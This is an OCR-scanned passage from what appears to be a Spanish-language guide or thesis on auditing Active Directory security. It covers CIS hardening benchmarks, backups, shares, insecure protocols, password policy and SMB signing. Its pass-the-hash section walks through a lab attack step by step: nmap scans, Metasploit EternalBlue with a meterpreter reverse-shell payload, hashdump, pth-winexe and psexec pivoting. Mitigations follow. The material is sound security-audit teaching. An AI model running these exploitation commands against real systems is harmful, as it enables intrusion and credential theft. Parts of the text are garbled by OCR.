Multiple Vulnerabilities in Vulnerability in Microsoft Windows  Vulnerability in Microsoft DNS Upd h ks for Wind
Microsoft Windows Could Allow PDF Library Could Allow for Server Could Allow for Remote

Remote Code Execution (M516-130) Remote Code Execution (MS16-102) Code Execution (MS16-071)

Figura 35 Resultados de busqueda en web del CIS

Se debe seleccionar la opcién de Benchmarks, dentro de la misma seccién te ofrece la posibilidad
de acceso y descarga de los diferentes tipos de guias que ofrecen proporcionando los datos del
usuario que desea hacer uso de ellas.

Microsoft Windows Server [ il

CIS Microsoft Windows Server 2016 RTM (Release 1607) Benchmark v1.0.0 Download PDF
CIS Microsoft Windows Server 2012 (non-R2) Benchmark v2.1.0 Download PDE

CIS Microsoft Windows Server 2012 R2 Benchmark v2.3.0 Download PDF

CIS Micresoft Windows Server 2008 (non-R2) Benchmark v3.1.0 Download PDE

Figura 36 Guias de bastionado de Windows publicadas en el CIS

Dentro de las guias se puede buscar facilmente la opcidn del Firewall local de Windows vy las
configuraciones recomendadas para los diferentes perfiles (Domain, Public, Private).
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9 Windows Firewall With Advanced Securily ... seessesssssmsssssesssssssssessens & 4 0
0.1 DOMAIN PrOFILE e ece et e sssesss s sas s mene s st snnanensesssnes £ 4 )

9.1.1 (L1) Ensure 'Windows Firewall: Domain: Firewall state’ is set to 'On
(recommended])’ [SCOTeA) .. ssssssssss sssssemsersessensssssssssssssssssssssssssssssas & 4

9.1.2 (L1) Ensure 'Windows Firewall: Domain: Inbound connections’ is set to "Block
[default]" [SCOTE] .o reerieseenress e sssses st e sesessems s s sssssssseserssssen s ssssessassnsassesees &0 4 OF

9.1.3 (L1) Ensure 'Windows Firewall: Domain: Outbound connections' is set to
"Allow (default)’ (SCOred) e crrrsssssssssessssesss s ssesses s ssssmssessssessssssssessssssssssassssassssss & 0

9.1.4 (L1) Ensure 'Windows Firewall: Domain: Settings: Display a notification' is set
E0 'NO" [SCOTEA ) crerieeerriretrces e ssssssessssssenssss e memssss s s s s st semse s s st sss s st sssass s mas s sassassssessnsens B0 O 20

9.1.5 (L1) Ensure 'Windows Firewall: Domain: Settings: Apply local firewall rules' is
set to "Yes (default)’ (SCOred ). s sns e ssssssssssssssnssssenssssmsssssessasssssssesees 2 00

9.1.6 (L1) Ensure 'Windows Firewall: Domain: Settings: Apply local connection
security rules' is set to 'Yes [default)’ (Scored] ... sesssssssssessens 2 90

9.1.7 (L1) Ensure 'Windows Firewall: Domain: Logging: Name' is set to
"0 SYSTEMROOT %\ System3 2\ logfiles\ firewall\ domainfw.log’ (Scored) ................288

9.1.8 (L1) Ensure 'Windows Firewall: Domain: Logging: Size limit (KB)' is set to
"16,384 KB or greater’ [SCOTEA) .. e seseesemsess s sessssssssssesssssssessmssssssssssssssssssens 2 G 0

9.1.9 (L1) Ensure 'Windows Firewall: Domain: Logging: Log dropped packets’ is set
L0 Y ES' [SCOTEA] cuisiircrsrssemssssnssemsemsescesseneessesssressssssssssssssssessasas ssmasessssssssmmseses sessssessesssssssessassasassansss o 3 20

Figura 37 indice de guia bastionado CIS

Dentro de cada una de las medidas se explican detalles importantes como a qué tipos de sistemas
se aplican (Domain Controllers o servidores miembros). Descripcion del control, justificacion de la
necesidad de aplicar dicho control y la forma de auditarlo por parte del consultor de seguridad.
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9.1.1 (L1) Ensure 'Windows Firewall: Domain: Firewall state' is set to 'On
(recommended)’ (Scored)

Profile Applicability:

e Level 1 - Domain Controller

s Level 1 - Member Server

Description:

Select On (recommended) to have Windows Firewall with Advanced Security use the
settings for this profile to filter network traffic. If you select Off, Windows Firewall with
Advanced Security will not use any of the firewall rules or connection security rules for this
profile.

The recommended state for this setting is: on (recommended).
Rationale:

If the firewall is turned off all traffic will be able to access the system and an attacker may
be more easily able to remotely exploit a weakness in a network service.

Audit:

Navigate to the Ul Path articulated in the Remediation section and confirm it is set as
prescribed. This group policy setting is backed by the following registry location:

HKEY LOCAL MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile\
EnableFirewall

Figura 38 Ejemplo de control establecido en guia del CIS

remediar el incumplimiento del control.

4.2.5. Revision de backups

Los backups son una parte primordial para una organizacion, de su integridad y disponibilidad
depende el buen funcionamiento de la infraestructura de Active Directory. En este sentido, los
backup seran utilizados en caso de contingencia tecnoldgica, la realizacidn periddica de las copias

de seguridad debe ser validada por el consultor de seguridad.

Existen diferentes mecanismos para poder analizar si se estan realizando de forma eficiente las

copias de seguridad sobre los sistemas de una organizacion.

1.
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Uso de pingcastle: Esta herramienta es utilizada para validar las caracteristicas basicas de

una infraestructura de Active Directory, entre ellas, la de validar la Ultima fecha en la que
se realiz6é un backup.

Last change of the Kerberos password: 28/02/2018 17:29.19

Last AD backup is 2018-02-28 18:29:287 which is more than 24 hours ago

One policy has been found where the password complexity i1s less than 8 characters
LAPS doesn't seem to be installed

No password policy for service account found (MinimumPasswordLength==20)
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Figura 39 Ejemplo de resultados obtenidos mediante Pingcastle

2. Revisidon mediante linea de comandos: Una forma de validar rapidamente el estado de

los backup de una maquina es a través de PowerShell con el siguiente comando el cual
devuelve informacion con la fecha de la Ultima copia de seguridad.

Repadmin.exe /showbackup

N Administrater: Windows PowerShell (x36)
P5 C:\Users\Administrator> Repadmin.exe wbackup

showbackup against full DC localhost

Org. Time/Date Attribute

201 8-08-14 18:04 ignature

2018-08-14 18:04 dsASignature

schema , CH=Configuratic 1
12 f . 2018-08-14 18:04:5 ASignature

2018-08-14 18:04:5 1gn: =
2018-08-14 185:04 ang =

Figura 40 Fechas de backups realizados

3. Reuniones con los responsables: Habitualmente, las organizaciones de un elevado

tamafo poseen un departamento tecnoldgico y gente dedicada a la realizacion de copias
de seguridad o al menos, cada sistema tiene un responsable identificado. En este sentido,
el consultor de seguridad debe verificar con los responsables la realizacion periddica de
copias de seguridad y la verificacién de la integridad de las mismas (existe software que
despliegan en entorno de prueba la copia de seguridad de forma transparente para los
responsables).

4.2.6. Revision de recursos compartidos

En las infraestructuras de Active Directory existen por defecto una serie de recursos que se
comparten con las maquinas miembro (sysvol y netlogon).

Active Directory necesita de sysvol para almacenar en los clientes (maquinas miembro), una copia
de los ficheros publicos del dominio que deben ser compartidos para el acceso comun vy la
replicacién de todo el conjunto del dominio. Los ficheros compartidos se almacenan dentro de
los discos duros de los controladores de dominio y se replican a los miembros a través del servicio
File Replication Service (FRS). Los clientes acceden al contenido del arbol utilizando las carpetas
compartidas sysvol y netlogon.

Netlogon es un proceso de Windows Server que autentica a los usuarios y otros servicios dentro
de un dominio. Dado que es un servicio y no una aplicacion, Netlogon se ejecuta continuamente
en segundo plano, a menos que se detenga manualmente o por un error de ejecucion. Netlogon
puede ser detenido o reiniciado desde el terminal de linea de comandos. Adicionalmente, este
servicio se centra especificamente en la verificacién de credenciales de usuario y otros servicios.

Para scripts adicionales a la hora de iniciar sesién muchos administradores introducen scripts
personalizados dentro del sysvol, se debe validar la existencia de posibles credenciales y/o
informacion sensible que permita obtener informacion de la infraestructura.
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Figura 41 Visualizacion de Netlogon y Sysvol desde end-point

Adicionalmente, se debe verificar si otros usuarios de la organizacion tienen compartidas carpetas
con permisos “everyone” y con informacion sensible no solo por el compromiso de la
infraestructura de Active Directory sino por no incumplir con leyes como GDPR.

Este tipo de andlisis a toda la infraestructura es a través del uso de Nessus, el cual notifica cuando
detecta una carpeta compartida con permisos expuestos a todos los usuarios con visibilidad de
la misma. [17] [18]

4.2.7. Revision de protocolos de seguridad

Los protocolos de comunicacién son otra de las piezas vitales dentro de la infraestructura de
Active Directory, de forma nativa, se utilizan los puertos 445 y 389 (SMB y LDAP), adicionalmente,
si se agregan aplicaciones y servicios se iran aumentando, incrementando asi la complejidad de
la infraestructura (SMTP - 25, DNS - 53, etc.).

Es importante que el consultor de seguridad evalle la confidencialidad, integridad y
disponibilidad de las comunicaciones existentes dentro de la infraestructura ya que, cualquier
minimo error en un protocolo puede derivar en un compromiso total de las comunicaciones.

1. Andlisis _automatico: Con herramientas mencionadas con anterioridad (Nessus o

pingcastle) se puede evaluar si existen protocolos considerados como inseguros dentro
de la infraestructura.
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Active Directory Infraestructure / Plugin #100464 Configure  Audit Trail Launch ~

< Back to Vulnerabilities

Hosts 4 Vulnerabilities 53 History 1
CRITICAL i i i iliti . .
Microsoft Windows SMBv1 Multiple Vulnerabilities Plugin Details
Description Severity: Critical
The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1) enabled. 1t is, therefore, affected by multiple vulnerabilities : 1D: 100464
Version: 13
- Multiple information disclosure vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of SMBv1 Type: remote
packets. An unauthenticated, remote attacker can exploit these vulnerabilities, via a specially crafted SMBv1 packet, to disclose sensitive Famil Wind
information, (CVE-2017-0267, CVE-2017-0268, CVE-2017-0270, CVE-2017-0271, CVE-2017-0274, CVE-2017-0275, CVE-2017-0276) amiy: ndaws
Published: May 26, 2017
- Multiple denial of service vulnerabilities exist in Microsoft Server Message Black 1.0 (SMBv1) due to improper handling of requests. An Modified: July 16, 2018

unauthenticated, remote attacker can exploit these vulnerabilities, via a specially crafted SMB request, to cause the system to stop
responding. (CVE-2017-0269, CVE-2017-0273, CVE-2017-0280)

Figura 42 Vulnerabilidad sobre SMBv1 detectada por Nessus

En la imagen superior se observa el estado de la infraestructura tras lanzar Nessus, se

observa cdmo se han detectado vulnerabilidades relacionadas con el protocolo SMB v1.

MNon admin users can add up to 10 computers to a domain

SMB v1 activated on 1 DC
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Figura 43 Vulnerabilidad sobre SMBv1 detectada por pingcastle

Los resultados de pingcastle muestran los mismos detalles respecto a un analisis del

protocolo SMB v1 sobre la infraestructura devolviendo resultados similares

Validaciones manuales: Para verificar los resultados obtenidos por los analisis

automaticos de vulnerabilidades o de red se recomienda realizar anélisis de forma mas

manual o bajo otros mecanismos.

a.

Andlisis del trafico mediante escucha a través de un port-mirroring esta técnica
puede proporcionar una vision global sobre la infraestructura de Active Directory
si los responsables de la infraestructura proveen el acceso a un switch con
capacidad de configurar un port-span o port-mirroring. Esta configuracion vuelca
todo el trafico que circula a través de la electronica de red que depende del switch
y permite “capturar” todo el trafico al dispositivo o maquina que se conecte a
dicho puerto.

Andlisis del trafico a través de wireshark sobre los Domain Controllers esta opcion
puede no ser del todo fiable, ya que muchas veces instalar programas de terceros
puede incumplir las politicas de seguridad de una organizacién, no obstante,
puede resultar Util en caso de que la organizacidon no disponga de un swtich
gestionable con capacidad de port-mirroring.

Uso de PowerShell sobre los Domain Controller, Windows por defecto posee un
sniffer de red para tener la capacidad de estudiar el trafico que fluye a través de
la maquina en cuestion, hay que destacar que este sniffer no pone la tarjeta en
modo monitor por lo que solo se escuchara el trafico que establezca
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comunicaciones sobre la maquina auditada. La herramienta nativa es netsh, para
auditar las comunicaciones se debe utilizar el siguiente comando:

netsh trace start persistent=yes capture=yes
tracefile=<file output.etl>

El tamafio por defecto de las capturas es de 250 megabytes, pero puede ser
modificado usando el pardmetro maxsize. Una vez finalizada la captura se
procede a estudiar el fichero utilizando software gratuito como Microsoft
Message Analyzer pudiéndolo convertir a formatos mas legibles o cargando la
captura en cain & Abel para verificar si existen vulnerabilidades dentro de la traza
como password en claro o hashes débiles.

4.2.7.1. Algunos protocolos vulnerables

En este subapartado dentro de la seccidn de revision protocolos dentro de la infraestructura se
identifican algunos detalles para poder identificar de forma eficiente algunos de los protocolos
habituales y potencialmente vulnerables que fluyen utilizando Active Directory.

Utilizando los mecanismos comentados con anterioridad para realizar una captura de trafico
procederemos a analizar el que se encuentra en la infraestructura de laboratorio de Active
Directory. En este sentido, utilizaremos los mecanismos de Powershell ya que no se dispone de
un swtich gestionable para configurar un port-mirroring. (jlmportante, este comando es
necesario utilizarlo en una consola con privilegios de administracién!).

\capture. et

Running

C apture. etl

Figura 44 Ejemplo de captura de trafico mediante netsh
Entre los protocolos encontrados se debe prestar especial atencion en los siguientes:

e Telnet: Protocolo de administracion remota de electronica de red o maquina, es
considerado vulnerable ya que envia la informacion en texto claro.

e HTTP: Protocolo considerado vulnerable al transmitir la informacién en texto claro y es
susceptible a diversas técnicas de captura de paquetes.

e CLDAP: Es la version de LDAP por el puerto 389 (sin SSL), por lo tanto, mucha informacién
sobre la infraestructura de Active Directory puede ser obtenida tan solo escuchando el
trafico.

e SMB version 1: Es un protocolo que no incorpora medidas de seguridad de forma nativa
y a través del cual, la mayoria del malware y programas maliciosos aprovechan para la
propagarse por la infraestructura.

e SNMP versidn 1: Es un protocolo susceptible a ataques de denegacion de servicio, realiza
la transmision de informacion de contrasefias en texto claro y es vulnerable a diversas
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técnicas de capturas de paquetes. Adicionalmente, se ha encontrado la community string
por defecto, “public”.

Estos protocolos son los que cominmente seran obtenidos sobre una infraestructura de Active
Directory tipica, pero se debe tener en cuenta las particularidades de cada infraestructura a la hora
de realizar las recomendaciones pertinentes cuando se presente el informe.

En este sentido, para los protocolos considerados como vulnerables se deberian de seguir las
siguientes recomendaciones para mitigar en la medida de lo posible un potencial ataque. El uso
de protocolos sobre una infraestructura de Active Directory debe de incorporar la seguridad de
forma nativa en su versién seleccionada como TLS para la gestién de las comunicaciones de forma
segura. A la hora de realizar modificaciones sobre la version actual de un protocolo se debe seguir
una estrecha colaboracidn con los responsables de los sistemas para evitar una pérdida de
disponibilidad en los servicios. A continuacion, se enumeran una seria de recomendaciones:

- Usar SSH en lugar de telnet para la administracion de electrénica de red y/o maquinas.

- Usar HTTPS en lugar de HTTP para cada una de las aplicaciones o portales web existentes
en la infraestructura de Active Directory.

- Uso de versiones de LDAP sobre SSL para evitar posibles capturas de informacion sobre
la infraestructura.

- Actualizar y limitar el uso de SMBv1 sobre la infraestructura de Active Directory, en este
sentido, las aplicaciones deben usar SMBv2 y, de ser posible, SMBv3. En caso de no poder
actualizar la version de SMB se recomienda aislar, documentar y monitorizar el sistema
aislado para tener un mayor control de la misma. Adicionalmente, gestionar un plan de
actualizacién de protocolo siempre que sea posible.

- Actualizar la version de SNMP a SNMPv3, sino fuese posible actualizar a SNMPv2 y
modificar las claves por defecto de las community string para evitar que estas sean
utilizadas.

4.3. Bloque lll: Revision de GPO

Una GPO (Group Policy Object) o en castellano, objeto de directiva de grupo, es un conjunto de
parametros que definen el comportamiento de un sistema y los permisos para un grupo definido
de usuarios. Microsoft permite la gestion de este tipo de objetos utilizando las diferentes
herramientas dentro de la infraestructura de Active Directory (Group Policy Managment Editor).

Las GPO dentro de sus parametros engloban las politicas de las que dispone Active Directory para
configurar todos los permisos de usuario, por tanto, las GPO son un mecanismo flexible para
poder asignar esos permisos a diferentes grupos de usuarios, unidades organizativas o maquinas.
Las politicas estan basadas en los registros almacenados en el sistema, opciones de seguridad,
capacidades de instalacion y mantenimiento de software, ejecucidn de scripts, opciones de acceso
a recursos, etc.

Al existir un nimero elevado de politicas en este apartado se pretende detallar los mecanismos
para analizarlas a alto nivel y en el conjunto global mientras que se pondra especial foco en las
méas importantes.
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4.3.1. Politica de contrasenas

Las contrasefias son el principal método que se utiliza para la autenticacion en sistemas de una
infraestructura Active Directory, tanto para servidores como para end-points. En este sentido, se
debe verificar que las GPOs tienen configuradas unas medidas restrictivas para las contrasefas
dentro de los sistemas de informacion de la organizacion garantizando asi la robustez de las
mismas. A continuacion, se enumeran las condiciones minimas necesarias:

- Contener letras mayusculas (A-Z).

- Contener letras minusculas (a-z).

- Contener digitos (0-9).

- Contener simbolos (I, @, #, $, ~, %, etc.).
- Longitud minima de 10 caracteres.

Adicionalmente, se debe seguir una serie de buenas practicas para dar soporte de forma afadida
a los requisitos establecidos anteriormente.

1. Creacién de una Default Domain Policy para las contrasefias: Las Default Domain Policy

son un conjunto de politicas que pueden utilizarse como base para la generacién por
defecto de GPOs, es decir, se puede configurar una Unica vez la politica de contrasefas
para la organizacion y todas las GPOs generadas posteriormente poseeran dicha
configuracion.

2. Evitar el uso de contrasefias antiguas: Es recomendable que el historial de contrasefias se

encuentre activado para evitar que un usuario utilice la misma contrasefia de manera
habitual, y que mediante técnicas de ingenieria social pudiera verse comprometida.

3. Caducidad de la contrasefia: Las contrasefias deben tener una vigencia determinada para

fomentar una rotado que evite un posible compromiso de las cuentas de usuario y/o
aplicacién. La periodicidad recomendada suele estar en torno los 40 y 60 dias.

4. Limitacion del numero maximo de intentos fallidos al iniciar sesién: Uno de los soportes

de la politica de contrasefas contra los intentos de ataques de fuerza bruta es establecer
un “lockout” o bloqueo de la cuenta en caso de realizarse multiples intentos de acceso
fallidos.

4.3.2. Mecanismos anti pass-the-hash

Los ataques Pass-the-hash se basan en la captura de credenciales de inicio de sesion de un usuario
legitimo de la infraestructura de Active Directory (pueden ser hashes de contrasefias) por parte de
un atacante para posteriormente realizar la autenticacion en otros equipos de la red.

Las credenciales capturadas pueden ser tanto de usuarios de dominio como de usuarios locales
de los sistemas. [19]

4.3.2.1. Escenario de ataque planteado pass the hash

En este apartado se plantea un escenario habitual en la mayoria de organizaciones en las que se
producen ataques de pass the hash. Un atacante que consigue acceso a una boca de red o el
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acceso a una maquina mediante ingenieria social dentro de la organizacion, a partir de aqui se
analizaran las capacidades que tendria el intruso.

1. El primer acto que realizaria un atacante es el de analizar la infraestructura para verificar
los objetivos potenciales de la intrusion. El primer paso que debe realizar es el de analizar
las maquinas dentro de la infraestructura mostrando informacion relativa al nombre, si
estan o no bajo dominio, puertos abiertos o filtered. Un puerto filtered no es mas que un
puerto restringido mediante firewall, casi con toda seguridad un atacante no podra
establecer comunicacion con estos puertos, asi como versionado y otra informacion util.
Esta informacién se obtendria a partir de nmap utilizando el siguiente comando.

nmap -sS -T4 10.0.80.0/24 --open

Una vez obtenidos los hosts se procede a analizar las maquinas especificas de la
infraestructura y la versién del servicio en ejecucion.

nmap -sV -T4 -v 10.0.80.230-235 --open

Ejecutado el comando observamos la versién de los sistemas operativos y los servicios
corriendo en cada uno de los puertos, de esta forma, se evita generar mucho “ruido”
sobre el segmento de red, evitando asi la deteccion por parte de sistemas IDS (Intrusion
Detection System), ya que los escaneos de puertos son un mecanismo de facil deteccion.

Figura 45 nmap sobre infraestructura de laboratorio

Para verificar la existencia de posibles vulnerabilidades sobre las maquinas identificadas como
potenciales objetivos se utiliza la herramienta de analisis de vulnerabilidades Nessus, para ello, se
introducen todas las direcciones en el rango 10.0.80.230-235, el listado de maquinas que
encontramos desplegadas en el entorno de laboratorio es la siguiente lista:

e Nintendo — PDC — Windows Server 2016 — 10.0.80.230
e Sony - RODC - Windows Server 2016 — 10.0.80.231
e Fender - Servidor Miembro — Windows Server 2008 R2 — 10.0.80.232
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e Switch — WSUS — Windows Server 2016 — 10.0.80.233

Entre el listado de vulnerabilidades que existe dentro de la infraestructura destacan las siguientes:

Active Directory Infraestructure Confi
¢ Back to My Scans

Hosts 4 Vulnerabilities 53 History 2
Filter «
Sev Name Family Count
MS17-010: Security Update for Microsoft Windows SMB...  Windows 3
Microsoft Windows SMBv1 Multiple Vulnerabilities Windows 2
SSL Certificate Cannot Be Trusted General 3
SSL Medium Strength Cipher Suites Supported General 3
SSL Self-Signed Certificate General 3

Figura 46 Analisis de vulnerabilidades mediante Nessus sobre infraestructura de Active Directory

En su mayoria son vulnerabilidades derivadas de una mala gestion del protocolo SMB en su
version 1. Un atacante utilizaria en este caso un exploit disefiado para explotar este protocolo. En
este sentido, WannaCry utilizd el exploit EternalBlue publicado por el grupo de hackers
ShadowBrokers, no obstante, en sistemas Windows Server 2016 no es posible su ejecucion sin la
cuenta de usuario guest o invitado habilitada (por defecto esta cuenta siempre se encuentra
deshabilitada). En este sentido, el objetivo més factible es la maquina Fender que utiliza la version
de sistema operativo Windows Server 2008 R2.

Para la explotacidn de sistema se utiliza el framework de exploiting metasploit: [21]
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Figura 47 Despliegue de metasploit

Una vez cargado el framework se procede a cargar el exploit, en este caso
Windows/smb/ms17_010_eternalblue, para ello se utiliza el comando use de metasploit:

Use windows/smb/msl7 010 eternalblue

Figura 48 Uso de exploit eternalblue

Con el modificador “show options” se pueden observar los diferentes parametros que el exploit
permite utilizar. Los datos mas relevantes son el RHOST (direccion IP de la maquina victima) y de
forma opcional el dominio para proveer de mayor informacion al exploit.

Otro elemento vital para la ejecucidn satisfactoria de un exploit es el payload. El payload no es
mas que la parte del malware que realiza la accién maliciosa para la que fue disefiado y la
encargada de establecer la comunicacion entre la victima y el atacante (bind o reverse). El payload
con mayor porcentaje de éxito es meterpreter.

Para recapitular y completar todos los pardmetros del exploit se necesitaria ejecutar las siguientes
ordenes:

Set rhost 10.0.80.232
Set SMBDomain fakeorg

set payload windows/x64/meterpreter/reverse tcp

set lhost 10.0.80.6

El resultado final debe ser el siguiente, previa ejecucion:
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Figura 49 Configuracion de eternalblue

Para el lanzamiento del exploit solo se debe ejecutar el modificador run y automaticamente
gjecuta el cédigo malicioso mientras que el payload serd el responsable de establecer la
comunicacién entre la maquina victima y el atacante.

Figura 50 Conexion satisfactoria de exploit

Lo primero que se debe verificar es informacion bésica de la maquina, para ello se utiliza el
comando sysinfo que provee meterpreter.
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Figura 51 Ejecucion de sysinfo sobre maquina Fender

El siguiente paso de un atacante, seria obtener todos los hashes existentes dentro de la maquina
con el objetivo de “pivotar” o realizar tareas de post-explotacién. El primer paso para lograr este

objetivo es utilizar el comando "hashdump” de meterpreter.

Figura 52 Volcado de hashes con hashdump

Como se observa en laimagen superior aparecen los hashes encontrados en la maquina vulnerada
encontrando la contrasefia de Administrador y de invitado (cuentas locales, no de dominio). Para

verificar la posibilidad de realizar pass the hash, se va a proceder a realizar el acceso al sistema
mediante la herramienta de Kali pth-winexe, esta herramienta de post-exploiting permite el acceso
generando un “ruido” menor que un exploit orientado a este objetivo como psexec.

El comando necesario para realizar esta tarea verificando el acceso al sistema seria el siguiente:

Pth-winexe -U Administrador%hash //ip victima cmd

Figura 53 Pass-the-hash con pth-winexe
El otro mecanismo por el que validar la posibilidad de pass-the-hash es a través del exploit psexec,
comentado con anterioridad, es mucho mas facil de ser identificado por un sistema de deteccién

de intrusiones, no obstante, ofrece muchas mas funcionalidades a un atacante.

2P root@kaliHotWheels: ~ - X

Figura 54 Ejecucion de psexec
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La potencia y el peligro de no limitar correctamente este tipo de ataques es la capacidad que se
le otorga a un atacante para pivotar entre diferentes maquinas. Un ejemplo seria si el atacante
quisiese con las credenciales capturadas acceder a otra maquina de la infraestructura de Active

Directory.

Figura 55 Pivoting hacia servidor WSUS

Se observa como existe la posibilidad de pivotar con las credenciales capturadas en la maquina
Fender, hacia la maquina Swtich que es donde se encuentra desplegado el servicio de WSUS. En
este sentido, la capacidad de pass-the-hash no solo permite la entrada con solo los hashes del
sistema, sino que se identifica otra mala practica entre los administradores de sistemas y comun
entre las organizaciones, el uso de la misma contrasefia de administracion local en las diferentes
maquinas de la infraestructura de Active Directory.

Para finalizar el ataque de forma satisfactoria de forma final se deberia de intentar acceder a un
Domain Controller, tarea relativamente sencilla una vez conseguido el acceso a una maquina, no
obstante, los administradores locales estan deshabilitados en dichas maquinas por lo que habria
que encontrar un proceso ejecutado por un administrador o usuario de dominio para poder
capturar las credenciales a través de Mimikatz.

Una vez demostrada la capacidad de pass-the-hash sobre la infraestructura de Active Directory el
consultor de seguridad debe evaluar las posibilidades de mitigacién de esta vulnerabilidad, asi
como las posibles contramedidas existentes.

La primera de estas soluciones pasa por establecer una politica corporativa que limite el uso de
las mismas contrasefias de administracion local sobre los diferentes servidores. Una
infraestructura con una complejidad en cuanto a nUmero de maquinas desplegadas incrementa
la dificultad por parte de los administradores para garantizar el cumplimiento de la politica. En
este sentido, existen herramientas gratuitas como LAPS (Local Administrator Password Solution),
la cual proporciona un almacenamiento centralizado de las contrasefias de administracion local.
Los administradores de dominio determinan qué usuarios (administradores de helpdesk,
administradores de sistemas, etc.), tienen permitido la lectura de este repositorio de claves. [22]

La solucién para evitar el uso de técnicas pass-the-hash pasa por las siguientes medidas dentro
de la infraestructura de Active Directory: [20]
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- Evitar el acceso a cuentas de administracion (locales o de dominio) salvo desde equipos
de confianza y aislados a nivel de red.

- Restriccion de las conexiones de red entrantes aplicando las politicas de firewall local
necesarias que solo permitan las conexiones entrantes de confianza.

- Uso de soluciones de seguridad que detecten y limiten este tipo de acceso a partir de
analisis de firmas (pth-winexe y psexec son aplicaciones cuyas firmas se encuentran
almacenadas por la mayoria de soluciones antivirus y anti-malware).

4.3.3. Revision de politicas sobre SMB

El protocolo SMB es, como se ha comentado con anterioridad, uno de los objetivos méas comunes
por parte de un atacante ya que, desde su publicacion han aparecido diferentes vulnerabilidades
que afectan a este protocolo. Lo primero que se ha de tener en cuenta que la version de SMB
puede ser administrada y limitada por medio de politicas, pudiendo asi limitar cualquier tipo de
actividad por parte de un atacante de negociar una version inferior del protocolo y vulnerar la
confidencialidad, integridad y disponibilidad del mismo.

En este sentido, durante una revision de Active Directory se debe validar la existencia de politicas
que limiten el uso de SMBv1 por parte de las aplicaciones e identificar planes de accion para
migracion de protocolos en version 1y 2 hacia versiones superiores, actualmente, la version 3.

Otro de los detalles importantes del protocolo SMB es la firma del trafico. Una vulnerabilidad
comun dentro de infraestructuras de informacion es que no exista una politica orientada a exigir
la firma del certificado. Para poner en contexto, que no exista por politica la firma del protocolo
SMB sobre una infraestructura de Active Directory deriva en que las maquinas bajo dominio no
soliciten el trafico firmado entre cliente-servidor, por tanto, si la firma SMB no se requiere en la
comunicacién, éstas, se ejecutan sin firma y por tanto cualquiera podria establecer una
comunicacién activa con el parque tecnoldgico.

Analizando los datos obtenidos mediante el andlisis de vulnerabilidades con Nessus se observa
como esta vulnerabilidad es recurrente en las distintas maquinas de la infraestructura.
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SMB Signing not required

Description
Signing is not required on the remote SMEB server. An unauthenticated, remote attacker can exploit this to conduct man-in-the-middle
attacks against the SMEB server.

Solution
Enforce message signing in the host's configuration. On Windows, this is found in the policy setting ‘Microsoft network server: Digitally
sign communications (always)". On Samba, the setting is called ‘server signing'. See the 'see alse’ links for further details.

See Also

https://support.microsoft.com/en-us/kb/887429
http://technetmicrosoft.com/en-us/library/cc731957.aspx
hittp://www.nessus.org/u?74b80723
http://www.samba.org/samba/docs/man/manpages-3/smb.conf.5.html
http://www.nessus.org/u?a3cacdea

Output

No cutput recorded.

Port Haosts

445/ tep / difs 10.0.80.232 10.0.80.233

Figura 56 Vulnerabilidad SMB Signing not required en Nessus

Se observa en la imagen superior cémo las maquinas Fender y Switch (Windows 2008 R2 y WSUS),
servidores miembros, no requieren de la firma SMB cuando se establece la comunicacién con
ellos.

Para mitigar esta vulnerabilidad habria que editar todas las politicas existentes sobre la firma SMB
en las politicas de la infraestructura de Active Directory, para ello, se debe de configurar
accediendo a la GPO y dentro de la misma, a la siguiente ruta: “computer configuration\Windows
Settings\Local Policies\Security Options”
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=[ Group Policy Management Editor
File  Action View Help

e« nE 2 HE

ra

(= Default Domain Policy [NINTENDO.FAKEORG.COM] Policy ~ || Palicy Policy Setting
v C.Dﬂ‘lpL.It.Er Configuration | Domain member: Disable machine account password changes Mot Defined
v p\OII;IiiW Sett | Domain member: Maximum machine account password age Mot Defined
— cemware ngs | Domain member: Require strong (Windows 2000 or later) session key Mot Defined

~ [ Windows Settings

“| Name Resolution Policy Interactive logon: Display user infermation when the session is locked Mot Defined
[ Scripts (Startup/Shutdown) | Interactive logon: Do not display last user name Mot Defined
= Deployed Printers | Interactive logon: De not require CTRL+ALT+DEL Mot Defined

v i Security Settings | Interactive logon: Machine account lockout threshold Mot Defined
3 Account Policies | Interactive logon: Machine inactivity limit Mot Defined

v j Local Policies | Interactive logon: Message text for users attempting to log on Mot Defined

j Audit Policy | Interactive logon: Message title for users atternpting to log on Mot Defined

i User Rights Assignment Interactive logon: Number of previous logens to cache (in case domain co.. Not Defined

j Security Optiens | Interactive logon: Prempt user to change password before expiration Mot Defined

j EventLag | Interactive logon: Require Demain Controller authentication te unlock wor... Mot Defined

A Restricted Groups | Interactive logon: Require srart card Mot Defined

4 System Services | Interactive logon: Smart card removal behavior Mot Defined

3 Registry 1) Microsoft network client: Digitally sign communications (always) Mot Defined

4 File System
i... Wired Metwork {IEEE 802.3) Policies
| Windows Firewall with Advanced Security
| Network List Manager Policies
2@ Wireless Metwork (IEEE 802.11) Policies
“| Public Key Policies
| Software Restriction Policies

iMicrosoft network client: Digitally sign communications (if server agrees) Mot Defined
Microsoft network client: Send unencrypted password to third-party SMB 5. Not Defined
Microsoft network server: Amount of idle time required before suspending... Mot Defined
| Microsoft network server: Attempt 54U25¢elf to obtain claim information Mot Defined
| Microsoft network server: Digitally sign communications (always) Mot Defined

| Microsoft network server: Digitally sign communications (if client agrees) Mot Defined

“ Application Control Policies | Microsoft network server: Disconnect clients when logen hours expire Mot Defined
‘g IP Security Policies on Active Directory (FAKEORG.CO | Microsoft network server: Server SPN target name validation level Mot Defined
| Advanced Audit Palicy Configuration Network access: Allow anonymous 5I0/Name translation Disabled
ol Policy-based QoS MNetwork access: Do not allow anonymous enumeration of SAM accounts Not Defined
| Administrative Templates: Policy definitions (ADMX files) ret | Network access: Do not allow anenymous enumeration of SAM accounts .. Not Defined
| Preferences | Metwork access: Do not allow storage of passwords and credentials for network authentication

Figura 57 GPO para la firma del trafico SMB

Una vez dentro, se deben de configurar cada una que indique "Digitally sign communications”,
tanto para clientes, servidores y comunicaciones.

4.3.4. Revision global de GPO

Las GPOs son de una complejidad elevada al existir un gran nimero de sistemas y una diversidad
en cuanto al nUmero de politicas, en este sentido, existen las guias del CIS que proporcionan
buenas practicas en el disefio de las politicas corporativas sobre la infraestructura de Active
Directory. No obstante, esto sigue resultando una tarea repetitiva por lo que, existen herramientas
para ayudar a la validacién agil de este tipo de elementos.

En este sentido, existen herramientas de validacion automatica de politicas como SCM (Security
Compliance Manager). SCM proporciona la posibilidad de comparar las GPOs existentes en una
